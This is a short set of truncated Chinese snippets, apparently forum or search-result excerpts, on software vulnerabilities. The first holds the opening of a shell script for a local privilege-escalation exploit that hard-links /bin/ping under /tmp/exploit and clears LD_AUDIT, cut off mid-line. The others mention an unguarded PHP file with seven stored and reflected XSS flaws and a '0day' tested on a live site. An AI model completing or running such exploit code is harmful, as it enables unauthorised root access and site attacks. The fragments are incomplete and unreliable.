普通用户创建脚本，内容如下： #!/bin/shunset LD_AUDITrm -r -f /tmp/exploitmkdir /tmp/exploitln /bin/ping /tmp/exploit/targetexec 3&l...

缺少exit(‘Access Denied’ ;直接浏览该程序直接报错 BTW 一共发现了7个XSS 包含储存式跟反射式.等之后整完整點再发出来檔案路徑:/source/include/misc/misc_ranklist...

送上0day一枚下面官网测试 ......